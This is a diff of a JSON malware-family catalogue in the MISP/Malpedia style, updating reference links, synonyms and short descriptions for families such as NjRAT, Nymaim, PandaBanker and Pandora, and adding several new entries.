"https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", - "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", - "https://github.com/itsKindred/malware-analysis-writeups/blob/master/bashar-bachir-chain/bashar-bachir-analysis.pdf", + "https://attack.mitre.org/groups/G0096", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://forensicitguy.github.io/njrat-installed-from-msi/", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", - "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", - "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://labs.k7computing.com/?p=21904", - "https://blog.reversinglabs.com/blog/rats-in-the-library", - "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.njRAT", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", "https://twitter.com/ESETresearch/status/1449132020613922828", - "https://cyberandramen.net/2022/01/12/analysis-of-njrat-powerpoint-macros/", - "https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://intel471.com/blog/privateloader-malware", - "https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/", - "http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf", - "https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html", "https://blogs.360.cn/post/APT-C-44.html", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", - "https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", - "https://blog.morphisec.com/syk-crypter-discord", + "https://blog.sonatype.com/bladabindi-njrat-rat-in-jdb.js-npm-malware", + "https://intel471.com/blog/privateloader-malware", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://attack.mitre.org/groups/G0096", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.trendmicro.com/en_us/research/20/i/wind-up-windscribe-vpn-bundled-with-backdoor.html", - "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", - "http://blogs.360.cn/post/analysis-of-apt-c-37.html", - "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html", + "https://blog.reversinglabs.com/blog/rats-in-the-library", + "https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services", + "https://forensicitguy.github.io/njrat-installed-from-msi/", + "https://ti.360.net/blog/articles/analysis-of-apt-c-27/", + "https://labs.k7computing.com/?p=21904", + "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://unit42.paloaltonetworks.com/njrat-pastebin-command-and-control", + "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://malwr-analysis.com/2020/06/21/njrat-malware-analysis/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", + "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.njRAT", + "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", + "https://blog.morphisec.com/syk-crypter-discord", + "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/", + "https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://www.4hou.com/posts/VoPM", + "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", + "https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks", "https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/", - "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf" + "https://github.com/itsKindred/malware-analysis-writeups/blob/master/bashar-bachir-chain/bashar-bachir-analysis.pdf", + "https://di.sclosu.re/en/njrat-malware-spreading-through-discord-cdn-and-facebook-ads/", + "http://blogs.360.cn/post/analysis-of-apt-c-37.html", + "https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "https://asec.ahnlab.com/1369", + "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", + "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", + "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", + "https://cyberandramen.net/2022/01/12/analysis-of-njrat-powerpoint-macros/", + "https://www.trendmicro.com/en_us/research/23/a/earth-bogle-campaigns-target-middle-east-with-geopolitical-lures.html", + "https://www.trendmicro.com/en_us/research/20/i/wind-up-windscribe-vpn-bundled-with-backdoor.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://blog.talosintelligence.com/2021/07/sidecopy.html", + "https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html" ], "synonyms": [ - "Bladabindi" + "Bladabindi", + "Lime-Worm" ], "type": [] }, - "related": [ - { - "dest-uuid": "a860d257-4a39-47ec-9230-94cac67ebf7e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "ff611c24-289e-4f2d-88d2-cfbf771a4e4b", "value": "NjRAT" }, @@ -34221,23 +36050,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki", - "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf" + "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "9e4fd0d3-9736-421c-b1e1-96c1d3665c80", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "f3cbe9ca-e65e-41af-8eb2-1e9877434124", "value": "Nokki" }, @@ -34246,9 +36066,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa", + "https://www.zscaler.com/blogs/security-research/nevada-ransomware-yet-another-nokayawa-variant", + "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/", + "https://www.zscaler.com/blogs/security-research/nokoyawa-ransomware-rust-or-bust", + "https://malgamy.github.io/malware-analysis/Nokoyawa/", "https://www.trendmicro.com/en_us/research/22/c/nokoyawa-ransomware-possibly-related-to-hive-.html", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/" + "https://github.com/MalGamy/YARA_Rules/blob/main/Nokoyawa.yara" ], "synonyms": [], "type": [] @@ -34256,6 +36080,20 @@ "uuid": "934a633a-21f7-4010-a83a-0b64c365355d", "value": "Nokoyawa Ransomware" }, + { + "description": "A wiper that overwrites target files with itself, thus spreading in virus-fashion.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nominatus_toxic_battery", + "https://twitter.com/struppigel/status/1501473254787198977", + "https://www.trellix.com/en-us/about/newsroom/stories/research/wipermania-an-all-you-can-wipe-buffet.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2fef9561-e16f-47a9-90c6-a68a1b20cc95", + "value": "NominatusToxicBattery" + }, { "description": "An open source C2 framework intended for pentest and red teaming activities.", "meta": { @@ -34269,13 +36107,26 @@ "uuid": "b783b185-e05c-481b-8c04-d0ba1b745713", "value": "NorthStar" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nosu", + "https://www.bitsight.com/blog/cova-and-nosu-new-loader-spreads-new-stealer" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a67b25dd-527f-40fa-b7e0-c93e856c0a4c", + "value": "Nosu" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer", - "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf" + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/" ], "synonyms": [], "type": [] @@ -34300,9 +36151,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nransom", - "https://twitter.com/malwrhunterteam/status/910952333084971008", "https://www.kaspersky.com/blog/nransom-nude-ransomware/18597/", - "https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin" + "https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin", + "https://twitter.com/malwrhunterteam/status/910952333084971008" ], "synonyms": [], "type": [] @@ -34324,6 +36175,23 @@ "uuid": "25a5ded7-6167-4f9a-b55d-9cfc9a9a9f22", "value": "NuggetPhantom" }, + { + "description": "Nullmixer is a dropper/loader for additional malware. It is known to drop a vast amount of different malware, such as info stealers, rats and additional loaders. Samples observed contained up to 8 additional payloads.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nullmixer", + "https://www.youtube.com/watch?v=v_K_zoPGpdk", + "https://www.youtube.com/watch?v=yLQfDk3dVmA", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1", + "https://www.youtube.com/watch?v=92jKJ_G_6ho" + ], + "synonyms": [], + "type": [] + }, + "uuid": "430c92f4-95b4-4b1c-813a-46d3e53a0d1e", + "value": "Nullmixer" + }, { "description": "", "meta": { @@ -34344,8 +36212,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit", "http://www.isg.rhul.ac.uk/dl/weekendconference2014/slides/Erik_VanBuggenhout.pdf", - "https://twitter.com/Bank_Security/status/1134850646413385728", - "https://twitter.com/r3c0nst/status/1135606944427905025" + "https://twitter.com/r3c0nst/status/1135606944427905025", + "https://twitter.com/Bank_Security/status/1134850646413385728" ], "synonyms": [], "type": [] @@ -34359,8 +36227,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nworm", "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-2/", - "https://bazaar.abuse.ch/browse/tag/N-W0rm/", - "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-1/" + "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-1/", + "https://bazaar.abuse.ch/browse/tag/N-W0rm/" ], "synonyms": [ "NWorm", @@ -34372,39 +36240,32 @@ "value": "N-W0rm" }, { - "description": "", + "description": "Nymaim is a trojan downloader. It downloads (and runs) other malware on affected systems and was one of the primary malware families hosted on Avalanche. Nymaim is different in that it displays a localized lockscreen while it downloads additional malware. Nymaim is usually delivered by exploit kits and malvertising.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim", - "https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf", + "https://blog.talosintelligence.com/goznym/", + "https://securityintelligence.com/posts/goznym-closure-comes-in-the-shape-of-a-europol-and-doj-arrest-operation/", + "https://www.sentinelone.com/blog/goznym-banking-malware-gang-busted/", "https://www.cert.pl/en/news/single/nymaim-revisited/", - "https://www.justice.gov/opa/pr/goznym-cyber-criminal-network-operating-out-europe-targeting-american-entities-dismantled", "https://www.shadowserver.org/news/goznym-indictments-action-following-on-from-successful-avalanche-operations/", + "https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf", + "https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0", + "https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim", "https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/", "https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/", - 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"https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://krebsonsecurity.com/2019/04/canadian-police-raid-orcus-rat-author/", "https://www.canada.ca/en/radio-television-telecommunications/news/2019/03/crtc-and-rcmp-national-division-execute-warrants-in-malware-investigation.html", - "https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://asec.ahnlab.com/en/45462/", + "https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/", + "https://any.run/cybersecurity-blog/orcus-rat-malware-analysis/", "https://assets.virustotal.com/reports/2021trends.pdf", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/" + "https://blog.checkpoint.com/2019/02/27/protecting-against-winrar-vulnerabilities/" ], "synonyms": [ "Schnorchel" @@ -34845,11 +36688,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt", + "https://www.carbonblack.com/2019/09/05/cb-threat-analysis-unit-technical-breakdown-germanwiper-ransomware/", + "https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html", "https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/", "https://www.gdata.de/blog/2017/11/30151-ordinypt", - "https://www.carbonblack.com/2019/09/05/cb-threat-analysis-unit-technical-breakdown-germanwiper-ransomware/", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html", "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat" ], "synonyms": [ @@ -34858,15 +36701,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "1d46f816-d159-4457-b98e-c34307d90655", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "7fd96553-4c78-43de-824f-82645ed4fac5", "value": "Ordinypt" }, @@ -34888,15 +36722,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oski", - "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", - "https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer", - "https://3xp0rt.com/posts/mars-stealer", - "https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601", - "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", "https://cyberint.com/blog/research/mars-stealer/", - "https://twitter.com/albertzsigovits/status/1160874557454131200", + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", + "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", + "https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601", + "https://3xp0rt.com/posts/mars-stealer", + "https://labs.bitdefender.com/2020/03/new-router-dns-hijacking-attacks-abuse-bitbucket-to-host-infostealer/", "https://drive.google.com/file/d/1c72YIF6JYcEvbFZCrkZO26D9hC3gnyMP/view", - "https://labs.bitdefender.com/2020/03/new-router-dns-hijacking-attacks-abuse-bitbucket-to-host-infostealer/" + "https://twitter.com/albertzsigovits/status/1160874557454131200", + "https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer", + "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468" ], "synonyms": [], "type": [] @@ -34953,8 +36788,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://twitter.com/VK_Intel/status/1085820673811992576" ], "synonyms": [ @@ -35026,10 +36861,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy", - "https://medium.com/cycraft/taiwan-government-targeted-by-multiple-cyberattacks-in-april-2020-3b20cea1dc20", + "https://lab52.io/blog/chimera-apt-updates-on-its-owlproxy-malware/", "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "https://securelist.com/the-sessionmanager-iis-backdoor/106868/", - "https://lab52.io/blog/chimera-apt-updates-on-its-owlproxy-malware/" + "https://medium.com/cycraft/taiwan-government-targeted-by-multiple-cyberattacks-in-april-2020-3b20cea1dc20" ], "synonyms": [], "type": [] @@ -35050,6 +36885,19 @@ "uuid": "aa985bc5-92e4-43c6-a01b-1de02818cfc9", "value": "Owowa" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.oxtarat", + "https://research.checkpoint.com/2023/operation-silent-watch-desktop-surveillance-in-azerbaijan-and-armenia/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a5b379c0-7934-4a50-9a34-7ad1524b1fb0", + "value": "OxtaRAT" + }, { "description": "", "meta": { @@ -35082,8 +36930,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.padcrypt", - "https://johannesbader.ch/2016/03/the-dga-of-padcrypt/", - "https://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/" + "https://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/", + "https://johannesbader.ch/2016/03/the-dga-of-padcrypt/" ], "synonyms": [], "type": [] @@ -35096,8 +36944,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin", - "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", - "https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf" + "https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf", + "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" ], "synonyms": [], "type": [] @@ -35110,24 +36958,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker", - "https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847", - "https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers", - "https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/", "http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html", - "https://www.spamhaus.org/news/article/771/", - "https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html", "https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/", - "https://www.youtube.com/watch?v=J7VOfAJvxEY", - "https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media", + "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", - "http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html", + "https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/", + "https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/", "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", - "https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html" + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://www.youtube.com/watch?v=J7VOfAJvxEY", + "https://www.spamhaus.org/news/article/771/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers", + "https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker", + "https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html", + "https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media" ], "synonyms": [ "ZeusPanda" @@ -35138,7 +36986,7 @@ "value": "PandaBanker" }, { - "description": "", + "description": "According to PCrisk, Panda is the name of a malicious program, which is classified as a stealer. It is a new variant of CollectorStealer.\r\n\r\nThe aim of this malware is to extract and exfiltrate sensitive and personal information from infected devices. Panda primarily targets data relating to cryptocurrency wallets.\r\n\r\nThis piece of malicious software has been observed being actively distributed via spam campaigns - large-scale operations during which thousands of scam emails are sent. The spam mail proliferating Panda stealer heavily targeted users from the United States, Germany, Japan, and Australia.\r\n\r\nThe deceptive email letters concerned business-related topics (e.g., fake product quote requests, etc.). Panda stealer is a dangerous program, and as such - its infections must be removed immediately upon detection.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.panda_stealer", @@ -35156,28 +37004,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora", - "https://cloudsek.com/technical-analysis-of-emerging-sophisticated-pandora-ransomware-group/", "https://www.fortinet.com/blog/threat-research/Using-emulation-against-anti-reverse-engineering-techniques", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/", "https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/", + "https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box", + "https://cloudsek.com/technical-analysis-of-emerging-sophisticated-pandora-ransomware-group/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://dissectingmalwa.re/blog/pandora/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "2c215062-5739-4859-bd82-9639ae1d1756", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e43b67bc-3c16-4a69-b63d-f6bf3d732e1b", "value": "Pandora" }, @@ -35187,8 +37026,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora_rat", "https://github.com/AZMagic/Pandora-Hvnc-Hidden-Browser-Real-Vnc-Working-Chromium-Edge-Opera-Gx", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware" + "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya" ], "synonyms": [ "Pandora hVNC RAT" @@ -35203,7 +37042,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.paradies_clipper", - 